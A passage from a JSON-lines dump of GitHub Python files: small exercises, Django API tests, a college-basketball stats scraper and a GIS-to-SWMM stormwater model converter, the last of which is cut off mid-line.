\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"terrelledwards/Hubie_Brown_Theory_Test","sub_path":"HubieBrownTeam.py","file_name":"HubieBrownTeam.py","file_ext":"py","file_size_in_byte":4752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"42592711464","text":"import logging\nimport traceback\n\nfrom services.pdf_document_service import PDFDocumentService\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n\ndef run(event, context):\n try:\n PDFDocumentService.update_air_table()\n except Exception:\n logger.error(traceback.format_exc())\n","repo_name":"ACAPSproject/SOPHIA_v.0.1.1","sub_path":"routers/air_table_updater.py","file_name":"air_table_updater.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"38084742274","text":"import sys\nsys.stdin = open(\"/Users/seokkyuhong/dev/python/algorithm/divide/input.txt\",\"r\")\n\nn, m = map(int, input().split()) \n\narr = []\ndef go():\n if len(arr) == m: # 3.arr 리스트의 길이가 m이면 출력하고 회기\n print(' '.join(map(str,arr)))\n return\n \n for i in range(1, n+1): # 1.출력 해야할 수가 1부터 n까지기 떄문에\n arr.append(i) # 2.예를 들어 1이 처음 들어가고 해당 1을 기준으로 재귀를 돌며 반복\n go()\n arr.pop() # 4.재귀가 들어갔다 나오면 1번째 인덱스 값 추출하여 다시 for 문을 돌게 한다. \n\ngo()","repo_name":"SeokKyuHong/algorithm_study","sub_path":"divide/15651.py","file_name":"15651.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"1733421897","text":"file=open(\"rhyme.txt\",\"r+\")\ndict1={}\ni=0\nlines=file.readlines()\nfor line in lines:\n dict1[i]=line.strip()\n i=i+1\nprint(dict1)\nl=0\nstr1=str()\nfor k in dict1:\n str1=str1+dict1[k]+\" \"\nstr1=str1.lower()\n#print(str1)\nfor k in dict1:\n dict1[k]=dict1[k].split()\n l=l+len(dict1[k])\nprint(\"Number of words in the file are:\",l)\ndef word_count(str):\n counts=dict()\n words=str.split()\n for word in words:\n if word in counts:\n counts[word]+=1\n else:\n counts[word]=1\n return counts\nprint(\"Unique occurences are:\")\nprint(word_count(str1))\nfile=open(\"words.txt\",\"w\",1)\nfile.write(\"Number of words in the file are 29\")\nfile.write(\"\"\"Unique occurences are:\n{'a': 1, 'fun': 1, 'horse': 1, 'open': 1, 'it': 1, 'in': 1, 'sleigh': 1, 'is': 1, 'all': 2, 'oh': 1, 'the': 2, 'one': 1, 'to': 1, 'ride': 1, 'jingle': 6, 'way': 2, 'what': 1, 'bells': 4}\"\"\")\n\n","repo_name":"NishkarshRaj/Programming-in-Python","sub_path":"Module 1 Assignments/assignment34.py","file_name":"assignment34.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"77"} +{"seq_id":"38245308424","text":"from django.test import TestCase\nfrom rest_framework.test import APITestCase\nfrom groupsessions.models import GroupSession\nfrom rest_framework.authtoken.models import Token\nimport os\n\nclass TestGroupSessions(APITestCase):\n\n\tfixtures = ['test_fixtures.json']\n\n\tdef setUp(self):\n\t\ttoken = Token.objects.get(username='DeerDoe')\n\t\tself.client.credentials(HTTP_AUTHORIZATION='Token ' + token.key)\n\t\tself.client.content_type = 'application/json'\n\n\tdef test_create_public_session_valid_info(self):\n\t\tdata = {\n\t\t\t'title': 'Rap Session Title',\n\t\t\t'is_private': False,\n\t\t\t'clip': ''\n\n\t\t}\n\t\tres = self.client.post(\n\t\t\t'/sessions/',\n\t\t\tdata=data\n\t\t)\n\t\tself.assertEqual(res.status_code, 201)\n\t\tself.assertIsNotNone(res.data['session'])\n\n\tdef test_create_session_create_crowd(self):\n\t\tdata = {\n\t\t\t'title': 'Group Session',\n\t\t\t'use_existing_crowd': False,\n\t\t\t'crowd_title': 'Crowd Title Wooooh',\n\t\t\t'crowd_members': ['WhoAmI', 'Superrhymes']\n\t\t}\n\t\tres = self.client.post(\n\t\t\t'/sessions/',\n\t\t\tdata = data\n\t\t)\n\t\tself.assertEqual(res.status_code, 201)\n\t\tself.assertIsNotNone(res.data['session'])\n\t\tself.assertEqual(len(res.data['session']['crowd']['members']), 3)\n\t\tself.assertEqual(res.data['session']['crowd']['title'], 'Crowd Title Wooooh')\n\n\n\tdef test_get_sessions(self):\n\t\tres = self.client.get('/sessions/')\n\t\tself.assertEqual(res.status_code, 200)\n\t\tself.assertEqual(res.data['sessions'][0]['title'], 'Rap Sesh')\n\t\tself.assertEqual(res.data['sessions'][0]['comments'][0]['text'], 'This is a comment')\n\n\t# def test_upload_file(self):\n\t# \tpath = os.path.dirname(__file__)\n\t# \tpath = os.path.join(path, 'test_upload.mp4')\n\t# \tf = open(path, 'rb')\n\t# \tdata = {\n\t# \t\t'clip': f,\n\t# \t\t'session': 1,\n\t# \t\t'duration': 7\n\t# \t}\n\t# \tres = self.client.post(\n\t# \t\t'/sessions/addclip/',\n\t# \t\tdata=data\n\t# \t)\n\t# \tf.close()\n\t# \tself.assertEqual(res.status_code, 200)\n\n\tdef test_get_comments(self):\n\t\tdata = {'session': 1}\n\t\tres = self.client.get('/sessions/comments/1/')\n\t\tself.assertEqual(res.status_code, 200)\n\t\tself.assertIsNotNone(res.data['comments'])\n\t\tself.assertEqual(len(res.data['comments']), 2)\n\n\tdef test_add_comment_to_session(self):\n\t\tdata = {\n\t\t\t'session': 1,\n\t\t\t'comment_text': 'This was pretty tight...'\n\t\t}\n\t\tres = self.client.post(\n\t\t\t'/sessions/comments/',\n\t\t\tdata = data\n\t\t)\n\t\tself.assertEqual(res.status_code, 200)\n\t\tself.assertIsNotNone(res.data['comment'])","repo_name":"mikeparisstuff/rapchat-django","sub_path":"groupsessions/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"27448802321","text":"N = int(input())\nA = [int(_) for _ in input().split()]\n\ni, j, k = 1, 2, 3\nB, C, D, E = A[0], A[1], A[2], sum(A[3:])\n\nresult = 10 ** 20\n\nwhile 1:\n\n while 1: \n newB, newC = B + A[i], C - A[i]\n if abs(B - C) < abs(newB - newC):\n break\n i += 1\n B, C = newB, newC\n\n while 1: \n newD, newE = D + A[k], E - A[k]\n if abs(D - E) < abs(newD - newE):\n break\n k += 1\n D, E = newD, newE\n\n r = max(B, C, D, E) - min(B, C, D, E)\n result = min(result, r)\n\n C, D = C + A[j], D - A[j]\n j += 1\n if j == N - 1:\n break\n \nprint(result)\n","repo_name":"hirosuzuki/procon","sub_path":"atcoder/abc102/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"70549983608","text":"import datetime as dt\nimport gzip\n\nfrom bs4 import BeautifulSoup\n\nimport numpy as np\nimport pandas as pd\n\nfrom watchcbb.scrape.common import get_html\n\n\nclass SportsRefScrape:\n \"\"\"Class to perform various web-scraping routines from sports-reference.com/cbb\"\"\"\n\n def __init__(self):\n pass\n\n def get_gid(self, date, t1, t2):\n \"\"\" Return unique game id, with date and alphabetized teams, like 2020-02-15_indiana_purdue\" \"\"\"\n tnames = sorted([t1, t2])\n return \"{0}_{1}_{2}\".format(date,tnames[0],tnames[1])\n\n\n def get_team_list(self, season=2020):\n \"\"\" Return a list of all teams in D-I for a given season \"\"\"\n\n teams_url = f\"http://www.sports-reference.com/cbb/seasons/{season}-school-stats.html\"\n teams_html = get_html(teams_url)\n teams_soup = BeautifulSoup(teams_html, \"html.parser\")\n teams = []\n table = teams_soup.find(\"table\", id=\"basic_school_stats\").find(\"tbody\")\n for td in table.find_all(\"td\", {\"data-stat\":\"school_name\"}):\n team = td.find(\"a\")[\"href\"].split(\"/\")[3]\n teams.append(team)\n\n return teams\n\n\n def get_game_data(self, season, fout=None, overwrite=False, gids=None, teams=None, startdate=None, enddate=None, verbose=False):\n \"\"\"Retrieve individual game statistics for a set of teams in a given season\n \n Parameters:\n season: year of the season (i.e. 2020 for 2019-20 season)\n fout: file to write output CSV to (None to not write to file)\n overwrite: True to overwrite file, False to append to it (taking care to avoid duplicates)\n gids: optional list of gids to get. If not None, this overrides anything in teams, startdate, enddate\n teams: list of team IDs (from sports-reference) to retrive games for.\n If None, use all teams in D-I for the given season\n startdate: date to start retrieving games, defaults to beginning of season\n enddate: date to end retrieving games, defaults to full season\n verbose: print extra info\n\n Returns: list of comma-separated strings, as would be written into the lines of a CSV\n \"\"\"\n\n if teams is not None:\n if gids is not None:\n raise Exception(\"Only one of gids, teams can be non-null\")\n else:\n if gids is None:\n teams = self.get_team_list(season)\n\n gids_to_get = None\n if gids is not None:\n gids_to_get = gids\n teams = [gid.split(\"_\")[1] for gid in gids]\n teams = list(set(teams))\n \n gids = {}\n lines = {}\n rows = []\n\n # if we want to update the game file, record everything in the old file\n if fout is not None and overwrite==False:\n for line in open(fout).readlines()[1:]:\n sp = line.strip().split(\",\")\n date = sp[1]\n gid = self.get_gid(date,sp[3], sp[5])\n if date not in gids.keys():\n gids[date] = []\n lines[date] = []\n lines[date].append(line)\n gids[date].append(gid)\n\n stats = [\"pts\",\"fg\",\"fga\",\"fg3\",\"fg3a\",\"ft\",\"fta\",\"orb\",\"trb\",\"ast\",\"stl\",\"blk\",\"tov\",\"pf\"]\n for team in teams:\n if verbose:\n print(\"Getting games for \"+team+\"...\")\n\n url = f\"http://www.sports-reference.com/cbb/schools/{team}/{season}-gamelogs.html\"\n html = get_html(url)\n soup = BeautifulSoup(html, \"html.parser\")\n\n # this page only for \"game type\" (reg season, conf tourney, etc.) If before March, guaranteed Reg Season\n if enddate==None or enddate.month >= 2:\n url2 = \"http://www.sports-reference.com/cbb/schools/{0}/{1}-schedule.html\".format(team,season)\n html2 = get_html(url2)\n soup2 = BeautifulSoup(html2, \"html.parser\")\n\n table = soup.find(\"table\", id=\"sgl-basic\").find(\"tbody\")\n for tr in table.find_all(\"tr\"):\n if tr.get(\"id\") == None:\n continue\n\n date = tr.find(\"td\", {\"data-stat\":\"date_game\"})\n if date.find(\"a\") != None:\n date = date.find(\"a\").string\n else:\n continue\n opp = tr.find(\"td\", {\"data-stat\":\"opp_id\"})\n\n if startdate!=None and startdate > dt.date(*[int(x) for x in date.split(\"-\")]):\n continue \n\n if enddate!=None and enddate < dt.date(*[int(x) for x in date.split(\"-\")]):\n continue \n\n if opp.find(\"a\")==None:\n continue\n opp = opp.find(\"a\")[\"href\"].split(\"/\")[3]\n gid = self.get_gid(date, team, opp)\n\n if gids_to_get is not None and gid not in gids_to_get:\n continue\n\n datem1day = str(dt.date(*[int(x) for x in date.split(\"-\")]) - dt.timedelta(1))\n gidm1day = self.get_gid(datem1day, team, opp)\n if date not in gids.keys():\n gids[date] = []\n lines[date] = [] \n if gid in gids[date] or (datem1day in gids.keys() and gidm1day in gids[datem1day]):\n continue\n else:\n gids[date].append(gid)\n\n if enddate==None or enddate.month >= 2:\n gtype = soup2.find(\"td\",{\"csk\":date}).find_parent(\"tr\").find(\"td\",{\"data-stat\":\"game_type\"}).string\n else:\n gtype = \"REG\"\n if gtype == \"REG\":\n gtype = \"RG\"\n if gtype == \"CTOURN\":\n gtype = \"CT\"\n\n loc = tr.find(\"td\", {\"data-stat\":\"game_location\"}).string\n if loc==None: loc=\"H\"\n elif loc==\"@\": loc=\"A\"\n elif loc==\"N\": loc=\"N\"\n else:\n raise Exception(loc)\n\n numot = tr.find(\"td\", {\"data-stat\":\"game_result\"})\n if numot.find(\"small\") != None:\n numot = int(numot.find(\"small\").string.split(\"(\")[1].split()[0])\n else:\n numot = 0\n\n statdict = {}\n opp_statdict = {}\n getint = lambda x: (0 if x is None else int(x))\n for stat in stats:\n statdict[stat] = getint(tr.find(\"td\",{\"data-stat\":stat}).string)\n opp_statdict[stat] = getint(tr.find(\"td\",{\"data-stat\":\"opp_\"+stat}).string)\n\n if statdict[\"pts\"] > opp_statdict[\"pts\"]:\n wd, ld = statdict, opp_statdict\n wteam, lteam = team, opp\n else:\n wd, ld = opp_statdict, statdict\n wteam, lteam = opp, team\n if loc==\"H\": loc=\"A\"\n elif loc==\"A\": loc=\"H\"\n\n rowvals = [season,date,gtype,wteam,wd[\"pts\"],lteam,ld[\"pts\"],loc,numot,\n wd[\"fg\"],wd[\"fga\"],wd[\"fg3\"],wd[\"fg3a\"],wd[\"ft\"],wd[\"fta\"],wd[\"orb\"],\n wd[\"trb\"]-wd[\"orb\"],wd[\"ast\"],wd[\"tov\"],wd[\"stl\"],wd[\"blk\"],wd[\"pf\"],\n ld[\"fg\"],ld[\"fga\"],ld[\"fg3\"],ld[\"fg3a\"],ld[\"ft\"],ld[\"fta\"],ld[\"orb\"],\n ld[\"trb\"]-ld[\"orb\"],ld[\"ast\"],ld[\"tov\"],ld[\"stl\"],ld[\"blk\"],ld[\"pf\"]\n ]\n rows.append(rowvals)\n\n string = \",\".join([str(x) for x in rowvals]) + '\\n'\n\n lines[date].append(string)\n\n colnames = [\"Season\",\"Date\",\"Type\",\"WTeamID\",\"WScore\",\"LTeamID\",\"LScore\",\"WLoc\",\"NumOT\",\n \"WFGM\",\"WFGA\",\"WFGM3\",\"WFGA3\",\"WFTM\",\"WFTA\",\"WOR\",\"WDR\",\"WAst\",\"WTO\",\"WStl\",\n \"WBlk\",\"WPF\",\"LFGM\",\"LFGA\",\"LFGM3\",\"LFGA3\",\"LFTM\",\"LFTA\",\"LOR\",\"LDR\",\"LAst\",\n \"LTO\",\"LStl\",\"LBlk\",\"LPF\"\n ]\n if fout:\n fout = open(fout, 'w')\n fout.write(\",\".join(colnames)+'\\n')\n for date in sorted(gids.keys()):\n for s in lines[date]:\n fout.write(s)\n fout.close()\n\n return pd.DataFrame(rows, columns=colnames)\n\n\n def get_gids_on_date(self, startdate, enddate=None):\n \"\"\"\n Return gids of all games between startdate and enddate (inclusive)\n If enddate is None, use only startdate\n \"\"\"\n\n if enddate is None:\n enddate = startdate\n\n gids = []\n date = startdate\n while date <= enddate:\n url = f'https://www.sports-reference.com/cbb/boxscores/index.cgi?month={date.month:02d}&day={date.day:02d}&year={date.year}'\n html = str(get_html(url))\n if html.find(\"No games found\") > -1:\n date += dt.timedelta(1)\n continue\n\n soup = BeautifulSoup(html, 'html.parser')\n for table in soup.find_all('table', {'class':'teams'}):\n td = table.find_all(\"tr\")[0].find(\"td\")\n a = td.find(\"a\")\n if a==None: # usually a non-DI team\n continue\n if not a.has_attr(\"href\"):\n continue\n t1 = td.find(\"a\")[\"href\"].split(\"/\")[3]\n td = table.find_all(\"tr\")[1].find(\"td\")\n a = td.find(\"a\")\n if a==None: # usually a non-DI team\n continue\n if not a.has_attr(\"href\"):\n continue\n t2 = td.find(\"a\")[\"href\"].split(\"/\")[3]\n \n gids.append(self.get_gid(date, t1, t2))\n\n date += dt.timedelta(1)\n\n return gids\n\n\n def get_ap_rankings(self, season):\n \"\"\"\n Given the season, return a dictionary where the keys are dates \n and values are length-25 lists giving the rankings 1-25 on that date.\n \"\"\"\n\n url = f'https://www.sports-reference.com/cbb/seasons/{season}-polls.html'\n html = get_html(url)\n soup = BeautifulSoup(html, 'html.parser')\n\n table = soup.find('table', {'id':'ap-polls'})\n\n # get the poll dates\n polls = {}\n date_row = table.find('thead').find_all('tr')[2]\n for th in date_row.find_all('th')[2:]:\n s = th.string\n if s==\"Pre\":\n date = dt.date(season-1,10,1)\n elif s==\"Final\":\n date = dt.date(season,5,1)\n else:\n month = int(s.split('/')[0])\n day = int(s.split('/')[1])\n year = season\n if month > 7:\n year -= 1\n date = dt.date(year,month,day)\n polls[date] = [[] for i in range(25)]\n\n sorted_dates = sorted(polls.keys())\n\n for tr in table.find('tbody').find_all('tr'):\n tds = tr.find_all('td')\n if len(tds)==0:\n continue\n tid = tr.find('th').find('a').get('href').split('/')[3]\n for date, td in zip(sorted_dates,tds[1:]):\n if td.string is not None and td.string != \"\":\n idx = int(td.string)-1\n polls[date][idx].append(tid)\n \n for date in polls:\n if sum(len(teams) for teams in polls[date]) < 25:\n raise Exception(f'Less than 25 teams for date {date}')\n\n return polls\n\n def get_roster_info(self, season, teams=None, stats=[\"MP\",\"WS\"], use_adv=True, est_file=None, fout=None, out_type=\"df\"):\n \"\"\"Get player IDs and statistics for a given season for every team in teams\"\"\"\n\n if teams==None:\n teams = self.get_team_list(season)\n\n data = {'team_id':[], 'players':[]}\n for stat in stats:\n data[stat] = []\n\n if est_file:\n est_rosters = pd.read_pickle(est_file, compression='gzip').set_index('team_id')\n est_rosters = est_rosters.to_dict(orient='index')\n\n for tid in teams:\n print(f\"Getting roster for {tid}\")\n\n url = f\"https://www.sports-reference.com/cbb/schools/{tid}/{season}.html\"\n html = str(get_html(url))\n\n tablestart = html.find('\",tablestart)\n if use_adv:\n tablestartAdv = html.find('
\",tablestartAdv)\n htmlAdv = html[tablestartAdv:tableendAdv+8]\n soupAdv = BeautifulSoup(htmlAdv, \"html.parser\")\n tableAdv = soupAdv.find(\"table\", {\"id\":\"advanced\"})\n\n html = html[tablestart:tableend+8]\n soup = BeautifulSoup(html, \"html.parser\")\n \n table = soup.find(\"table\", {\"id\":\"roster\"})\n if use_adv:\n tableAdv = soupAdv.find(\"table\", {\"id\":\"advanced\"})\n\n data['team_id'].append(tid)\n if table is None:\n print(\" School not found for year {0}! Using estimated roster\".format(season))\n for c in ['players'] + stats:\n data[c].append(est_rosters[tid][c])\n\n continue\n \n for s in ['players']+stats:\n data[s].append([])\n \n for tr in table.find(\"tbody\").find_all(\"tr\"): \n player = tr.find(\"th\",{\"data-stat\":\"player\"}).find(\"a\")[\"href\"].split(\"/\")[3].split(\".\")[0]\n data['players'][-1].append(player)\n\n if use_adv:\n for tr in tableAdv.find(\"tbody\").find_all(\"tr\"):\n for stat in stats:\n x = tr.find(\"td\",{\"data-stat\":stat.lower()}).string\n data[stat][-1].append(float(x) if x is not None else 0.0)\n else:\n for stat in stats:\n for p in data['players'][-1]:\n data[stat][-1].append(0.0)\n\n if fout:\n if out_type == \"df\":\n df = pd.DataFrame(data, columns=['team_id','players']+stats)\n df.to_pickle(fout, compression='gzip')\n\n return data\n\n\nif __name__==\"__main__\":\n \n sr = SportsRefScrape()\n\n # sr.get_game_data(2020, fout=\"../scratch/test.csv\", overwrite=True, teams=['purdue'], verbose=True)\n\n sr.get_roster_info(2021, teams=['purdue', 'princeton'], use_adv=False, est_file='../../data/rosters/estimated_rosters/2021.pkl.gz', fout='test.pkl.gz')\n\n # for gid in sr.get_gids_on_date(dt.date(2020,2,15), dt.date(2020,2,16)):\n # print(gid)\n \n # gids = sr.get_gids_on_date(dt.date(2020,2,16), dt.date(2020,2,16))\n # print(sr.get_game_data(2020, gids=gids, verbose=True))\n","repo_name":"bjmarsh/WatchCBB","sub_path":"watchcbb/scrape/SportsRefScrape.py","file_name":"SportsRefScrape.py","file_ext":"py","file_size_in_byte":14838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"43159039916","text":"# -*- coding: utf-8 -*-\r\n# -----------------------------------------------------------------------------\r\n# author: Timo Wicki\r\n# date: 25.03.2022\r\n#\r\n# GIS-Daten in die Template SWMM-Eingabedatei (.inp) importieren:\r\n# Für die Simulation eines Modells benötigt es eine SWMM-Input-Datei. Dabei handelt es sich um ein strukturiertes \r\n# Textformat (.inp) mit allen Angaben (Berechnungsoptionen, Niederschlagsganglinie, Knoten, Haltungen, Teileinzugsgebiete u. a.) \r\n# die für die Simulation benötigt werden. Es wird eine SWMM-Input-Datei benötigt, in welcher Berechnungsoptionen und die \r\n# Niederschlagsganglinie enthalten ist. Das Skript importiert die GIS-Datensätze Knoten, Haltungen und Teileinzugsgebiete \r\n# in die Template-Dateie, um eine vollständige Datei für die Simulation zu generieren. Anschliessend werden die erstellten Modelle mit \r\n# der Software SWMM ausgeführt (aktuell im Skirpt auskommentiert -> Simulation besser in SWMM-Software ausführen).\r\n#\r\n# Die SWMM-Objekte EVAPORATION, RAINGAGES, MAP, REPORT, STORAGE, DWF, CURVES, ORIFICES, WEIRS, LOSSES, TIMESERIES, \r\n# TAGS, SYMBOLS, LABELS sind noch nicht berücksichtigt und müssten bei Bedarf in der SWMM-Software erstellt werden.\r\n# Bei den SWMM-Objekten OUTFALLS und PUMPS werden nicht alle Felder berücksichtigt.\r\n# -----------------------------------------------------------------------------\r\n\"\"\"gisswmm2swmm\"\"\"\r\nimport os, sys, time, json, shutil, re\r\nimport arcpy\r\nimport swmmio\r\nfrom swmm_api import swmm5_run\r\nimport pandas as pd\r\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', '0_BasicFunctions'))\r\nimport logging_functions as lf\r\n\r\ndef coords_to_list(coords):\r\n \"\"\"Konvertiert einen String mit Koordinaten zu einer Liste aus Koordinatenpaaren\r\n\r\n Required:\r\n coords -- String mit Koordinaten nach folgendem Schema: '[(x,y),(x,y),...]' z. B. '[(2664547.6, 1210716.7), (2664545.4, 1210718.5)]'\r\n\r\n Return:\r\n coords_list -- Liste mit Koordinatenpaar-Listen [x,y]\r\n \"\"\"\r\n # Eckige Klammern entfernen\r\n coords = coords.replace(\"[\",\"\").replace(\"]\",\"\")\r\n # String bei Klammern und Komma auftrennen\r\n cs = re.split('\\(|\\)|,', coords)\r\n coords_list = []\r\n idx = 0\r\n xy_check = \"x\" \r\n for val in cs:\r\n if val in [\"(\",\",\",\")\",\"\",\" \"]:\r\n continue\r\n else:\r\n if xy_check == \"x\":\r\n coords_list.append([float(val)])\r\n xy_check = \"y\"\r\n elif xy_check == \"y\":\r\n coords_list[idx].append(float(val))\r\n xy_check = \"x\"\r\n idx += 1\r\n\r\n return coords_list\r\n\r\n\r\n# Main module: Input-Daten aufbereiten und Funktionen aufrufen\r\ndef main(out_node, out_link, out_subcatchment, template_swmm_file, sim_nr):\r\n \"\"\"Input-Daten aufbereiten und Funktionen für die Konvertierung der GIS Feature-Klassen (node, link, subcatchment)\r\n in das SWMM-Datenformat (.inp) aufrufen.\r\n\r\n Required:\r\n out_node -- Name der Feature-Klasse mit den Schächten (ohne Postfix)\r\n out_link -- Name der Feature-Klasse mit den Haltungen (ohne Postfix)\r\n out_subcatchment -- Name der Feature-Klasse mit den Teileinzugsgebieten (ohne Postfix)\r\n template_swmm_file -- Template .inp-Datei die alle Angaben ausser der Bauwerke enthält\r\n sim_nr -- Wird als Postfix für Log-Dateinamen und Feature-Klassen verwendet\r\n \"\"\"\r\n # Pfad zur Output SWMM-Datei\r\n in_path, in_name = os.path.split(template_swmm_file)\r\n out_path = os.path.join(in_path, sim_nr)\r\n out_name = in_name.split(\".inp\")[0] + \"_\" + sim_nr + '.inp'\r\n\r\n # Ordner mit SWMM-Dateien erstellen\r\n if not os.path.isdir(out_path):\r\n os.mkdir(out_path)\r\n\r\n swmm_out_file = os.path.join(out_path, out_name)\r\n\r\n # swmmio Objekt erstellen\r\n mymodel = swmmio.Model(template_swmm_file)\r\n\r\n ## Nodes hinzufügen (STORAGE, DWF,.. noch nicht berücksichtigt)\r\n # Dataframes laden\r\n junctions = mymodel.inp.junctions\r\n outfalls = mymodel.inp.outfalls\r\n coordinates = mymodel.inp.coordinates\r\n # Name dataframe index (swmmio)\r\n junctions.index.name = \"Name\"\r\n coordinates.index.name = \"Name\"\r\n outfalls.index.name = \"Name\"\r\n # GISSWMM-Felder definieren (erstes Feld -> Index, zweites Feld -> Typ)\r\n node_fields_gis = [\"Name\", \"SWMM_TYPE\", \"InvertElev\", \"InitDepth\", \"MaxDepth\", \"SurchargeDepth\", \"PondedArea\", \"OutfallType\", \"coords\", \"tag\"]\r\n # Mapping GISSWMM-Feld:swmmio-Feld für junction\r\n junction_fields = {\"InvertElev\":\"InvertElev\", \"MaxDepth\":\"MaxDepth\", \"InitDepth\":\"InitDepth\", \"SurchargeDepth\":\"SurchargeDepth\", \"PondedArea\":\"PondedArea\"}\r\n # Mapping GISSWMM-Feld:swmmio-Feld für outfall \r\n outfall_fields = {\"InvertElev\":\"InvertElev\", \"OutfallType\":\"OutfallType\"}\r\n # Daten aus GIS-Datensatz extrahieren\r\n with arcpy.da.SearchCursor(out_node, node_fields_gis) as cursor:\r\n for row in cursor:\r\n for ii, val in enumerate(row):\r\n in_field = node_fields_gis[ii]\r\n if row[1] in [\"INLET\", \"JUNCTION\"] and in_field in list(junction_fields.keys()):\r\n junctions.loc[row[0], junction_fields[in_field]]= val\r\n elif row[1] == \"OUTFALL\" and in_field in list(outfall_fields.keys()):\r\n outfalls.loc[row[0], outfall_fields[in_field]] = val\r\n elif in_field == \"coords\":\r\n coordinates.loc[row[0]] = coords_to_list(val)[0]\r\n #elif in_field == \"tag\":\r\n # Modell aktualisieren\r\n mymodel.inp.junctions = junctions\r\n mymodel.inp.outfalls = outfalls\r\n mymodel.inp.coordinates = coordinates\r\n\r\n ## Links hinzufügen (ORIFICES, WEIRS, LOSSES noch nicht berücksichtigt)\r\n conduits = mymodel.inp.conduits\r\n pumps = mymodel.inp.pumps\r\n xsections = mymodel.inp.xsections\r\n vertices = mymodel.inp.vertices\r\n # Name dataframe index (swmmio)\r\n conduits.index.name = \"Name\"\r\n pumps.index.name = \"Name\"\r\n xsections.index.name = \"Link\"\r\n vertices.index.name = \"Link\"\r\n # GISSWMM-Felder definieren (erstes Feld -> Index, zweites Feld -> Typ)\r\n link_fields_gis = [\"Name\", \"SWMM_TYPE\", \"InletNode\", \"OutletNode\", \"Length\", \"Roughness\", \"InOffset\", \"OutOffset\", \r\n \"InitFlow\", \"MaxFlow\", \"ShapeType\", \"Geom1\", \"Geom2\", \"Geom3\" , \"Geom4\", \"Barrels\", \"coords\"]\r\n # Mapping GISSWMM-Feld:swmmio-Feld für conduit (muss evtl. je nach SWMM-Version angepasst werden)\r\n conduit_fields = {\"InletNode\":\"InletNode\", \"OutletNode\":\"OutletNode\", \"Length\":\"Length\", \"Roughness\":\"Roughness\", \r\n \"InOffset\": \"InOffset\", \"OutOffset\":\"OutOffset\", \"InitFlow\":\"InitFlow\", \"MaxFlow\":\"MaxFlow\"}\r\n # Mapping GISSWMM-Feld:swmmio-Feld für pump\r\n pump_fields = {\"InletNode\":\"InletNode\", \"OutletNode\":\"OutletNode\"} # PumpCurve, InitStatus, StartupDepth, ShutoffDepth nicht berücksichtigt\r\n # Mapping GISSWMM-Feld:swmmio-Feld für xsection\r\n xsections_fields = {\"ShapeType\":\"Shape\", \"Geom1\":\"Geom1\", \"Geom2\":\"Geom2\", \"Geom3\":\"Geom3\", \"Geom4\":\"Geom4\", \"Barrels\":\"Barrels\"} # Geom3, Geom4, Barrels nicht berücksichtigt\r\n # Daten aus GIS-Datensatz extrahieren\r\n with arcpy.da.SearchCursor(out_link, link_fields_gis) as cursor:\r\n for row in cursor:\r\n for ii, val in enumerate(row):\r\n in_field = link_fields_gis[ii]\r\n if row[1] == \"CONDUIT\" and in_field in list(conduit_fields.keys()):\r\n conduits.loc[row[0], conduit_fields[in_field]] = val\r\n elif row[1] == \"PUMP\" and in_field in list(pump_fields.keys()):\r\n pumps.loc[row[0], pump_fields[in_field]] = val\r\n elif in_field in list(xsections_fields.keys()):\r\n xsections.loc[row[0], xsections_fields[in_field]] = val\r\n elif in_field == \"coords\":\r\n coords_list = coords_to_list(val)\r\n for coords in coords_list:\r\n # temp dataframe\r\n df = pd.DataFrame({\"X\":coords[0],\"Y\":coords[1]}, index = [row[0]] )\r\n df.index.name = \"Link\"\r\n vertices = vertices.append(df)\r\n #elif in_field == \"tag\":\r\n\r\n # Modell aktualisieren\r\n mymodel.inp.conduits = conduits\r\n mymodel.inp.pumps = pumps\r\n mymodel.inp.xsections = xsections\r\n mymodel.inp.vertices = vertices\r\n\r\n ## Subcatchment hinzufügen\r\n subcatchments = mymodel.inp.subcatchments\r\n subareas = mymodel.inp.subareas\r\n infiltration = mymodel.inp.infiltration\r\n polygons = mymodel.inp.polygons\r\n\r\n # Name dataframe index (swmmio)\r\n subcatchments.index.name = \"Name\"\r\n subareas.index.name = \"Subcatchment\"\r\n subareas.index.name = \"Subcatchment\"\r\n polygons.index.name = \"Subcatchment\"\r\n\r\n # GISSWMM-Felder definieren (erstes Feld -> Index, zweites Feld -> Typ)\r\n subcatchments_fields_gis = [\"Name\", \"Raingage\", \"Outlet\", \"Area\", \"PercImperv\", \"Width\", \"PercSlope\", \"N_Imperv\", \r\n \"N_Perv\", \"S_Imperv\", \"S_Perv\", \"PctZero\", \"RouteTo\", \"CurbLength\", \"SnowPack\",\r\n \"MaxRate\", \"MinRate\", \"Decay\", \"DryTime\", \"MaxInfil\", \"coords\"]\r\n # Mapping GISSWMM-Feld:swmmio-Feld für conduit (muss evtl. je nach SWMM-Version angepasst werden)\r\n subcatchments_fields = {\"Raingage\":\"Raingage\", \"Outlet\":\"Outlet\", \"Area\":\"Area\", \"PercImperv\":\"PercImperv\", \r\n \"Width\": \"Width\", \"PercSlope\":\"PercSlope\", \"CurbLength\":\"CurbLength\", \"SnowPack\":\"SnowPack\"}\r\n subareas_fields = {\"N_Imperv\":\"N-Imperv\", \"N_Perv\":\"N-Perv\", \"S_Imperv\":\"S-Imperv\", \"S_Perv\":\"S-Perv\", \r\n \"PctZero\":\"PctZero\", \"RouteTo\": \"RouteTo\"}\r\n infiltration_fields = {\"MaxRate\":\"MaxRate\", \"MinRate\":\"MinRate\", \"Decay\":\"Decay\", \"DryTime\":\"DryTime\", \"MaxInfil\":\"MaxInfil\"} \r\n\r\n # Daten aus 